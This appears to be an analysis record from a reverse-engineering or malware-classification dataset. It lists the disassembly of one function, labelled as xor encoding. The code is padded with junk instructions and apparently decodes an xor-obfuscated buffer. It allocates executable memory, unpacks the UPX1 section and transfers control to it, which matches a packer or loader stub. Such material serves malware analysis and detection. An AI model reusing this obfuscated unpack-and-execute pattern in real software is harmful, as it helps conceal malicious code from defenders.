Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf50d6876
not esi
and eax, esi
mov eax, esi
popal
sub esi, 0x13792256
add esi, esi
mov esi, 0
mov ecx, edi
or ebx, edx
sub edx, ebx
mov eax, ecx
mov ebx, 0xb2a515c7
sub ebx, 1
mov edi, eax
add ebx, 0x3739b1d7
add ebx, edx
inc esi
sub ebx, edx
or ebx, edx
cmp esi, 0x1005cff
jne 0xa789c6
dec edx
inc edx
sub ebx, edx
add esi, esi
not esi
add eax, eax
mov edi, 0xa78796
inc ebx
or ebx, ecx
mov edx, 0xa7898a
sub esi, ecx
not ebx
sub ecx, esi
mov eax, dword [edi]
and ecx, esi
add ecx, esi
sub ecx, esi
and eax, 0xff
add ebx, ebx
mov ebx, ecx
and ebx, ecx
xor dword [edx], eax
add esi, ecx
add esi, ebx
sub ebx, 0xc00320a1
inc edx
mov esi, ebx
add esi, 0x49da40cc
add ebx, 1
inc edi
sub esi, 0x4c83d4a2
add ebx, 0xbfd194c0
add esi, 0x9c45acf2
cmp edx, entry0
jl 0xa78a11
or ebx, esi
sub esi, 1
add ecx, 1
inc esi
sub edx, 0xf9c53a98
or esi, edx
mov edi, 0xa7898e
mov ecx, 0xe25ddadb
and ecx, esi
mov edi, dword [edi]
add esi, 1
sub ebx, 0xde33089b
or ecx, edx
mov edi, dword [edi]
sub esi, 1
or ebx, ebx
inc edx
push edi
sub esi, ecx
add ecx, 1
sub edx, 0x95eab0da
mov edi, 0xa7898a
dec ecx
not edx
mov edi, dword [edi]
mov esi, ecx
not ecx
mov edi, dword [edi]
add ebx, 0xbb72e2ed
sub ecx, ebx
add ecx, esi
push 0xa78992
mov edx, 0xd6f97d5
mov edx, 0x64b65877
mov ecx, 0x12ad9c0c
call edi
add ecx, 1
or ecx, ebx
pop edi
inc esi
sub esi, edx
push 0xa7899f
add ecx, 0xcfe8bb34
dec edx
push eax
add esi, 0x36f1d08e
add ecx, esi
call edi
add edx, esi
add ebx, 0xe6411740
push 0x40
inc ebx
and edx, ecx
sub esi, ebx
push 0x3000
mov ebx, 0xd19c9860
add ecx, 0xc975052e
push 0x200000bf
and edx, ecx
and ebx, ebx
sub esp, 4
mov dword [esp], 0
inc esi
or ebx, ebx
call eax
or esi, ebx
sub edx, ecx
add eax, 0x20000031
sub ebx, 1
inc edx
not ecx
mov edi, 0xf240f638
sub esi, edx
add edx, 0xb2f5e5b4
and ebx, ebx
mov dword [eax], edi
add ecx, 0x4391abdb
or ecx, esi
mov ebx, 0x6b3f5223
mov edi, dword [eax]
dec ecx
mov ecx, edx
cmp edi, 0xf240f638
je 0xa78b7e
mov edx, 0
mov ebx, dword [edx]
sub ebx, edx
add edx, ebx
dec esi
and esi, ebx
add ebx, ecx
not esi
mov eax, esi
dec eax
mov esi, 0xa88ae77b
mov ecx, section.UPX1
not eax
not esi
mov edi, 0xa78795
or esi, esi
not eax
add eax, eax
mov ebx, 0
or esi, eax
dec eax
and esi, esi
mov edx, 0xa78796
add eax, 0x4a324c80
and esi, eax
lea edx, [ebx + edx]
sub eax, 0x96d85fb7
not esi
inc esi
mov edx, dword [edx]
sub eax, esi
dec eax
and edx, 0xff
or eax, esi
sub eax, 0xdbc55cf3
inc ebx
inc eax
add esi, esi
cmp ebx, 0x1f4
jne 0xa78bec
mov ebx, 0
mov esi, eax
mov esi, eax
and eax, eax
sub eax, esi
xor dword [ecx], edx
mov eax, 0xbc4c7923
sub eax, esi
sub eax, 0xdcfd1578
add ecx, 2
not eax
mov esi, eax
cmp ecx, edi
jl 0xa78baf
or esi, eax
add esi, eax
sub eax, 0x22fcca64
add eax, 0x32fadcff
mov ebx, section.UPX1
sub edi, esi
or esi, esi
mov edx, section.UPX1
not esi
or esi, esi
sub edi, 0xa6b9e0df
mov ecx, 0xa78795
sub edi, 0x94f4e921
mov esi, 0x97aac9b6
inc esi
mov eax, 0
mov edi, esi
mov esi, 0x7e91ba40
mov al, byte [edx]
sub esi, 0xf756a449
inc edi
mov byte [ebx], al
or esi, edi
add esi, esi
dec edi
inc ebx
add edi, esi
mov edi, esi
add edx, 2
or esi, esi
add esi, esi
cmp edx, ecx
jle 0xa78c5a
mov edi, 0x420a26f1
and esi, edi
inc esi
add esi, 1
sub esi, 0x5b4ea436
add esi, 0xeb43f4ee
sub esp, 4
mov dword [esp], 0x8dc6a0
and esi, eax
add esi, esi
not eax
ret